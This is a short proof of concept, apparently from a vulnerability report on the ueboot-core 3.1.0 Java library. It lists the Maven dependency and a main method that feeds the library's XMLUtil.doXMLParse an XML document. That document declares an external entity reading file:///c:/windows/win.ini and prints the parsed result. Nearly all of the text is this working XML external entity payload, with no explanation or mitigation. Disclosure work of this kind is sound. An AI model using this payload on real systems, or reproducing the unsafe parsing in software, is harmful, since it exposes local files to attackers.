<dependency>
              <groupId>com.ueboot</groupId>
              <artifactId>ueboot-core</artifactId>
              <version>3.1.0</version>
          </dependency>

    public static void main(String[] args) throws IOException {
            String xmlStr = "<?xml version='1.0' encoding='utf-8'?>\n"
                    + "<!DOCTYPE xdsec [\n"
                    + "<!ELEMENT methodname ANY>\n"
                    + "<!ENTITY xxe SYSTEM 'file:///c:/windows/win.ini'>]>\n"
                    + "<methodcall>\n"
                    + "<methodname>&xxe;</methodname>\n"
                    + "</methodcall>";
    
            Map<String, String> map = XMLUtil.doXMLParse(xmlStr);
            System.out.println(map);
        }